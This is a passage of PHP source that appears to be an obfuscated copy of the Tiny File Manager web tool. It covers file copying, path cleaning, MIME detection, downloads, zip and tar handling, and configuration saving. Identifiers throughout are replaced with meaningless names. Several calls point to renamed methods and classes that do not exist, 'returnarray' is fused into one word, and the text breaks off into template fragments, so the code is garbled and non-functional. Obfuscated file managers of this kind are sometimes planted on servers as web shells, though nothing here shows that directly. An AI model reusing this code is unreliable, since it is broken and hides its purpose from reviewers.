false;}return(!file_exists($s156)&&file_exists($o173))?rename($o173,$s156):null;}/** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function p13($h110,$i159,$c263=true,$i264=true){if(is_dir($h110)){if(!n14($i159,$i264)){return false;}$x207=scandir($h110);$k260=true;if(is_array($x207)){foreach($x207 as $b98){if($b98!='.'&&$b98!='..'){if(!p13($h110.'/'.$b98,$i159.'/'.$b98)){$k260=false;}}}}return $k260;}elseif(is_file($h110)){return t15($h110,$i159,$c263);}return false;}/** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function n14($s108,$i264){if(file_exists($s108)){if(is_dir($s108)){return $s108;}elseif(!$i264){return false;}unlink($s108);}return mkdir($s108,0777,true);}/** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function t15($t265,$n266,$c263){$t267=filemtime($t265);if(file_exists($n266)){$k268=filemtime($n266);if($k268>=$t267&&$c263){return false;}}$k260=copy($t265,$n266);if($k260){touch($n266,$t267);}return $k260;}/** * Get mime type * @param string $file_path * @return mixed|string */ function o16($c112){if(function_exists('finfo_open')){$m269=finfo_open(FILEINFO_MIME_TYPE);$i270=finfo_file($m269,$c112);finfo_close($m269);return $i270;}elseif(function_exists('mime_content_type')){return mime_content_type($c112);}elseif(!stristr(ini_get('disable_functions'),'shell_exec')){$b98=escapeshellarg($c112);$i270=shell_exec('file -bi '.$b98);return $i270;}else{return '--';}}/** * HTTP Redirect * @param string $url * @param int $code */ function b17($e136,$e96=302){header('Location: '.$e136,true,$e96);exit;}/** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function l18($h110){$h110=str_replace(array('/','\\'),DIRECTORY_SEPARATOR,$h110);$s271=array_filter(explode(DIRECTORY_SEPARATOR,$h110),'strlen');$s272=array();foreach($s271 as $x273){if('.'==$x273)continue;if('..'==$x273){array_pop($s272);}else{$s272[]=$x273;}}return x5(DIRECTORY_SEPARATOR,$s272);}/** * Clean path * @param string $path * @return string */ function s19($h110,$d274=true){$h110=$d274?trim($h110):$h110;$h110=trim($h110,'\\/');$h110=str_replace(array('../','..\\'),'',$h110);$h110=l18($h110);if($h110=='..'){$h110='';}return str_replace('\\','/',$h110);}/** * Get parent path * @param string $path * @return bool|string */ function l20($h110){$h110=s19($h110);if($h110!=''){$r275=explode('/',$h110);if(count($r275)>1){$r275=array_slice($r275,0,-1);return x5('/',$r275);}return '';}return false;}/** * Check file is in exclude list * @param string $file * @return bool */ function c21($b98){$w144=strtolower(pathinfo($b98,PATHINFO_EXTENSION));if(isset($h76)and sizeof($h76)){unset($h76);}$h76=FM_EXCLUDE_ITEMS;if(version_compare(PHP_VERSION,'7.0.0','<')){$h76=unserialize($h76);}if(!in_array($b98,$h76)&&!in_array("*.$w144",$h76)){return true;}return false;}/** * get language translations from json file * @param int $tr * @return array */ function b22($k276){try{$l230=@file_get_contents('translation.json');if($l230!==FALSE){$y277=json_decode($l230,TRUE);global $e95;foreach($y277["language"]as $v258=>$p278){$e96=$p278["code"];$e95[$e96]=$p278["name"];if($k276)$k276[$e96]=$p278["translation"];}return $k276;}}catch(Exception $d123){echo $d123;}}/** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function k23($b98){static $u279;static $y280;if(!isset($u279)){$u279=(strtoupper(substr(PHP_OS,0,3))=='WIN');}if(!isset($y280)){$y280=(strtoupper(substr(PHP_OS,0))=="DARWIN");}static $m281;if(!isset($m281)){$m281=(function_exists('exec')&&!ini_get('safe_mode')&&@exec('echo EXEC')=='EXEC');}if($m281){$x282=escapeshellarg($b98);$d283=($u279)?"for %F in (\"$b98\") do @echo %~zF":($y280?"stat -f%z $x282":"stat -c%s $x282");@exec($d283,$s284);if(is_array($s284)&&ctype_digit($p285=trim(x5("\n",$s284)))){return $p285;}}if($u279&&class_exists("COM")){try{$w286=new x287('Scripting.FileSystemObject');$l172=$w286->t288(realpath($b98));$p285=$l172->$j150;}catch(Exception $d123){$p285=null;}if(ctype_digit($p285)){return $p285;}}return filesize($b98);}/** * Get nice filesize * @param int $size * @return string */ function o24($p285){$p285=(float)$p285;$l289=array('B','KB','MB','GB','TB','PB','EB','ZB','YB');$z290=($p285>0)?floor(log($p285,1024)):0;$z290=($z290>(count($l289)-1))?(count($l289)-1):$z290;return sprintf('%s %s',round($p285/pow(1024,$z290),2),$l289[$z290]);}/** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function a25($s291){$z292=0;$s291=realpath($s291);if($s291!==false&&$s291!=''&&file_exists($s291)){foreach(new q293(new u294($s291,FilesystemIterator::SKIP_DOTS))as $b98){$z292+=$b98->p295();}}return $z292;}/** * Get info about zip archive * @param string $path * @return array|bool */ function w26($h110,$w144){if($w144=='zip'&&function_exists('zip_open')){$z296=@zip_open($h110);if($z296){$u229=array();while($n297=@zip_read($z296)){$r237=@zip_entry_name($n297);$v298=substr($r237,-1)=='/';$u229[]=array('name'=>$r237,'filesize'=>@zip_entry_filesize($n297),'compressed_size'=>@zip_entry_compressedsize($n297),'folder'=>$v298 );}@zip_close($z296);return $u229;}}elseif($w144=='tar'&&class_exists('PharData')){$r299=new y203($h110);$u229=array();foreach(new q293($r299)as $b98){$l300=$b98->x301();$r237=str_replace("phar://".$h110,'',$b98->i302());$r237=substr($r237,($i303=strpos($r237,'/'))!==false?$i303+1:0);$v298=$l300->e304();$g305=new i306($b98);$u229[]=array('name'=>$r237,'filesize'=>$g305->p295(),'compressed_size'=>$b98->m307(),'folder'=>$v298);}return $u229;}return false;}/** * Encode html entities * @param string $text * @return string */ function w27($b308){return htmlspecialchars($b308,ENT_QUOTES,'UTF-8');}/** * Prevent XSS attacks * @param string $text * @return string */ function m28($b308){return(strpbrk($b308,'/?%*:|"<>')===FALSE)?true:false;}/** * Save message in session * @param string $msg * @param string $status */ function i29($b97,$u309='ok'){$_SESSION[FM_SESSION_ID]['message']=$b97;$_SESSION[FM_SESSION_ID]['status']=$u309;}/** * Check if string is in UTF-8 * @param string $string * @return int */ function q30($a310){return preg_match('//u',$a310);}/** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function h31($p181){if(FM_IS_WIN&&function_exists('iconv')){$p181=iconv(FM_ICONV_INPUT_ENC,'UTF-8//IGNORE',$p181);}return $p181;}/** * @param $obj * @return array */ function s32($n311){if(!is_object($n311)&&!is_array($n311)){return $n311;}if(is_object($n311)){$n311=get_object_vars($n311);}return array_map('fm_object_to_array',$n311);}/** * Get CSS classname for file * @param string $path * @return string */ function v33($h110){$w144=strtolower(pathinfo($h110,PATHINFO_EXTENSION));switch($w144){case 'ico':case 'gif':case 'jpg':case 'jpeg':case 'jpc':case 'jp2':case 'jpx':case 'xbm':case 'wbmp':case 'png':case 'bmp':case 'tif':case 'tiff':case 'webp':case 'avif':case 'svg':$x248='fa fa-picture-o';break;case 'passwd':case 'ftpquota':case 'sql':case 'js':case 'ts':case 'jsx':case 'tsx':case 'hbs':case 'json':case 'sh':case 'config':case 'twig':case 'tpl':case 'md':case 'gitignore':case 'c':case 'cpp':case 'cs':case 'py':case 'rs':case 'map':case 'lock':case 'dtd':$x248='fa fa-file-code-o';break;case 'txt':case 'ini':case 'conf':case 'log':case 'htaccess':case 'yaml':case 'yml':case 'toml':case 'tmp':case 'top':case 'bot':case 'dat':case 'bak':case 'htpasswd':case 'pl':$x248='fa fa-file-text-o';break;case 'css':case 'less':case 'sass':case 'scss':$x248='fa fa-css3';break;case 'bz2':case 'zip':case 'rar':case 'gz':case 'tar':case '7z':case 'xz':$x248='fa fa-file-archive-o';break;case 'php':case 'php4':case 'php5':case 'phps':case 'phtml':$x248='fa fa-code';break;case 'htm':case 'html':case 'shtml':case 'xhtml':$x248='fa fa-html5';break;case 'xml':case 'xsl':$x248='fa fa-file-excel-o';break;case 'wav':case 'mp3':case 'mp2':case 'm4a':case 'aac':case 'ogg':case 'oga':case 'wma':case 'mka':case 'flac':case 'ac3':case 'tds':$x248='fa fa-music';break;case 'm3u':case 'm3u8':case 'pls':case 'cue':case 'xspf':$x248='fa fa-headphones';break;case 'avi':case 'mpg':case 'mpeg':case 'mp4':case 'm4v':case 'flv':case 'f4v':case 'ogm':case 'ogv':case 'mov':case 'mkv':case '3gp':case 'asf':case 'wmv':case 'webm':$x248='fa fa-file-video-o';break;case 'eml':case 'msg':$x248='fa fa-envelope-o';break;case 'xls':case 'xlsx':case 'ods':$x248='fa fa-file-excel-o';break;case 'csv':$x248='fa fa-file-text-o';break;case 'bak':case 'swp':$x248='fa fa-clipboard';break;case 'doc':case 'docx':case 'odt':$x248='fa fa-file-word-o';break;case 'ppt':case 'pptx':$x248='fa fa-file-powerpoint-o';break;case 'ttf':case 'ttc':case 'otf':case 'woff':case 'woff2':case 'eot':case 'fon':$x248='fa fa-font';break;case 'pdf':$x248='fa fa-file-pdf-o';break;case 'psd':case 'ai':case 'eps':case 'fla':case 'swf':$x248='fa fa-file-image-o';break;case 'exe':case 'msi':$x248='fa fa-file-o';break;case 'bat':$x248='fa fa-terminal';break;default:$x248='fa fa-info-circle';}return $x248;}/** * Get image files extensions * @return array */ function m34(){returnarray('ico','gif','jpg','jpeg','jpc','jp2','jpx','xbm','wbmp','png','bmp','tif','tiff','psd','svg','webp','avif');}/** * Get video files extensions * @return array */ function u35(){returnarray('avi','webm','wmv','mp4','m4v','ogm','ogv','mov','mkv');}/** * Get audio files extensions * @return array */ function w36(){returnarray('wav','mp3','ogg','m4a');}/** * Get text file extensions * @return array */ function v37(){returnarray('txt','css','ini','conf','log','htaccess','passwd','ftpquota','sql','js','ts','jsx','tsx','mjs','json','sh','config','php','php4','php5','phps','phtml','htm','html','shtml','xhtml','xml','xsl','m3u','m3u8','pls','cue','bash','vue','eml','msg','csv','bat','twig','tpl','md','gitignore','less','sass','scss','c','cpp','cs','py','go','zsh','swift','map','lock','dtd','svg','asp','aspx','asx','asmx','ashx','jsp','jspx','cgi','dockerfile','ruby','yml','yaml','toml','vhost','scpt','applescript','csx','cshtml','c++','coffee','cfm','rb','graphql','mustache','jinja','http','handlebars','java','es','es6','markdown','wiki','tmp','top','bot','dat','bak','htpasswd','pl');}/** * Get mime types of text files * @return array */ function r38(){returnarray('application/xml','application/javascript','application/x-javascript','image/svg+xml','message/rfc822','application/json',);}/** * Get file names of text files w/o extensions * @return array */ function v39(){returnarray('license','readme','authors','contributors','changelog',);}/** * Get online docs viewer supported files extensions * @return array */ function p40(){returnarray('doc','docx','xls','xlsx','pdf','ppt','pptx','ai','psd','dxf','xps','rar','odt','ods');}/** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function v41($a312){$w313['swf']='application/x-shockwave-flash';$w313['pdf']='application/pdf';$w313['exe']='application/octet-stream';$w313['zip']='application/zip';$w313['doc']='application/msword';$w313['xls']='application/vnd.ms-excel';$w313['ppt']='application/vnd.ms-powerpoint';$w313['gif']='image/gif';$w313['png']='image/png';$w313['jpeg']='image/jpg';$w313['jpg']='image/jpg';$w313['webp']='image/webp';$w313['avif']='image/avif';$w313['rar']='application/rar';$w313['ra']='audio/x-pn-realaudio';$w313['ram']='audio/x-pn-realaudio';$w313['ogg']='audio/x-pn-realaudio';$w313['wav']='video/x-msvideo';$w313['wmv']='video/x-msvideo';$w313['avi']='video/x-msvideo';$w313['asf']='video/x-msvideo';$w313['divx']='video/x-msvideo';$w313['mp3']='audio/mpeg';$w313['mp4']='audio/mpeg';$w313['mpeg']='video/mpeg';$w313['mpg']='video/mpeg';$w313['mpe']='video/mpeg';$w313['mov']='video/quicktime';$w313['swf']='video/quicktime';$w313['3gp']='video/quicktime';$w313['m4a']='video/quicktime';$w313['aac']='video/quicktime';$w313['m3u']='video/quicktime';$w313['php']=['application/x-php'];$w313['html']=['text/html'];$w313['txt']=['text/plain'];if(empty($w313[$a312])){$w313[$a312]=['application/octet-stream'];}return $w313[$a312];}/** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function e42($s108='',$p314=''){$h110=FM_ROOT_PATH.'/'.$s108;if($h110){$y315=new q293(new u294($h110));$n316=new a317($y315,"/(".$p314.")/i");$t171=array();foreach($n316 as $b98){if(!$b98->g318()){$o116=$b98->o319();$c320=str_replace(FM_ROOT_PATH,'',$b98->i321());$t171[]=array("name"=>$o116,"type"=>"file","path"=>$c320,);}}return $t171;}}/** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function v43($f322,$o116,$h323=1024){if(connection_status()!=0)return(false);$a312=pathinfo($o116,PATHINFO_EXTENSION);$j324=v41($a312);if(is_array($j324)){$j324=x5(' ',$j324);}$p285=filesize($f322);if($p285==0){i29(z57('Zero byte file! Aborting download'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));return(false);}@ini_set('magic_quotes_runtime',0);$e147=fopen("$f322","rb");if($e147===false){i29(z57('Cannot open file! Aborting download'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));return(false);}header('Content-Description: File Transfer');header('Expires: 0');header('Cache-Control: must-revalidate, post-check=0, pre-check=0');header('Pragma: public');header("Content-Transfer-Encoding: binary");header("Content-Type: $j324");$b325='attachment';if(strstr($_SERVER['HTTP_USER_AGENT'],"MSIE")){$o116=preg_replace('/\./','%2e',$o116,substr_count($o116,'.')-1);header("Content-Disposition: $b325;filename=\"$o116\"");}else{header("Content-Disposition: $b325;filename=\"$o116\"");}header("Accept-Ranges: bytes");$g326=0;if(isset($_SERVER['HTTP_RANGE'])){list($x327,$g326)=explode("=",$_SERVER['HTTP_RANGE']);str_replace($g326,"-",$g326);$a328=$p285-1;$f329=$p285-$g326;header("HTTP/1.1 206 Partial Content");header("Content-Length: $f329");header("Content-Range: bytes $g326$a328/$p285");}else{$a328=$p285-1;header("Content-Range: bytes 0-$a328/$p285");header("Content-Length: ".$p285);}$f322=realpath($f322);while(ob_get_level())ob_end_clean();readfile($f322);fclose($e147);return((connection_status()==0)and!connection_aborted());}/** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function x44(){$r330='';if(FM_THEME=="dark"){$r330="text-white bg-dark";}return $r330;}/** * Class to work with zip files (using ZipArchive) */ class g195{private $f331;public function w45(){$this->$a332=new r333();}/** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function t46($p181,$t171){$a130=$this->$a332->v334($p181,ZipArchive::CREATE);if($a130!==true){return false;}if(is_array($t171)){foreach($t171 as $l172){$l172=s19($l172);if(!$this->s48($l172)){$this->$a332->f335();return false;}}$this->$a332->f335();return true;}else{if($this->s48($t171)){$this->$a332->f335();return true;}return false;}}/** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function p47($p181,$h110){$a130=$this->$a332->v334($p181);if($a130!==true){return false;}if($this->$a332->y204($h110)){$this->$a332->f335();return true;}return false;}/** * Add file/folder to archive * @param string $filename * @return bool */ private function s48($p181){if(is_file($p181)){return $this->$a332->g336($p181);}elseif(is_dir($p181)){return $this->r49($p181);}return false;}/** * Add folder recursively * @param string $path * @return bool */ private function r49($h110){if(!$this->$a332->y337($h110)){return false;}$x207=scandir($h110);if(is_array($x207)){foreach($x207 as $b98){if($b98!='.'&&$b98!='..'){if(is_dir($h110.'/'.$b98)){if(!$this->r49($h110.'/'.$b98)){return false;}}elseif(is_file($h110.'/'.$b98)){if(!$this->$a332->g336($h110.'/'.$b98)){return false;}}}}return true;}return false;}}/** * Class to work with Tar files (using PharData) */ class j197{private $c196;public function w45(){$this->$b338=null;}/** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function t46($p181,$t171){$this->$b338=new y203($p181);if(is_array($t171)){foreach($t171 as $l172){$l172=s19($l172);if(!$this->s48($l172)){return false;}}return true;}else{if($this->s48($t171)){return true;}return false;}}/** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function p47($p181,$h110){$a130=$this->$b338->v334($p181);if($a130!==true){return false;}if($this->$b338->y204($h110)){return true;}return false;}/** * Add file/folder to archive * @param string $filename * @return bool */ private function s48($p181){if(is_file($p181)){try{$this->$b338->g336($p181);return true;}catch(Exception $d123){return false;}}elseif(is_dir($p181)){return $this->r49($p181);}return false;}/** * Add folder recursively * @param string $path * @return bool */ private function r49($h110){$x207=scandir($h110);if(is_array($x207)){foreach($x207 as $b98){if($b98!='.'&&$b98!='..'){if(is_dir($h110.'/'.$b98)){if(!$this->r49($h110.'/'.$b98)){return false;}}elseif(is_file($h110.'/'.$b98)){try{$this->$b338->g336($h110.'/'.$b98);}catch(Exception $d123){return false;}}}}return true;}return false;}}/** * Save Configuration */ class k88{var $b339;function w45(){global $n68,$w69,$q58;$p340=$w69.$_SERVER["PHP_SELF"];$this->$a90=array('lang'=>'en','error_reporting'=>true,'show_hidden'=>true);$b339=false;if(strlen($q58)){$b339=s32(json_decode($q58));}else{$b97='Tiny File Manager
Error: Cannot load configuration';if(substr($p340,-1)=='/'){$p340=rtrim($p340,'/');$b97.='
';$b97.='
Seems like you have a trailing slash on the URL.';$b97.='
Try this link: '.$p340.'';}die($b97);}if(is_array($b339)&&count($b339))$this->$a90=$b339;else $this->g50();}function g50(){$r341=__FILE__;$e342='$CONFIG';$a343=var_export(json_encode($this->$a90),true);$m344=" '.$_SESSION[FM_SESSION_ID]['message'].'

';unset($_SESSION[FM_SESSION_ID]['message']);unset($_SESSION[FM_SESSION_ID]['status']);}}/** * Show page header in Login Form */ function k53(){$f356='20160315';header("Content-Type: text/html; charset=utf-8");header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");header("Pragma: no-cache");global $x89,$w69,$v75;?> ';}?> <?php echo w27(APP_TITLE)?> ">
';}?> <?php echo w27(APP_TITLE)?> ">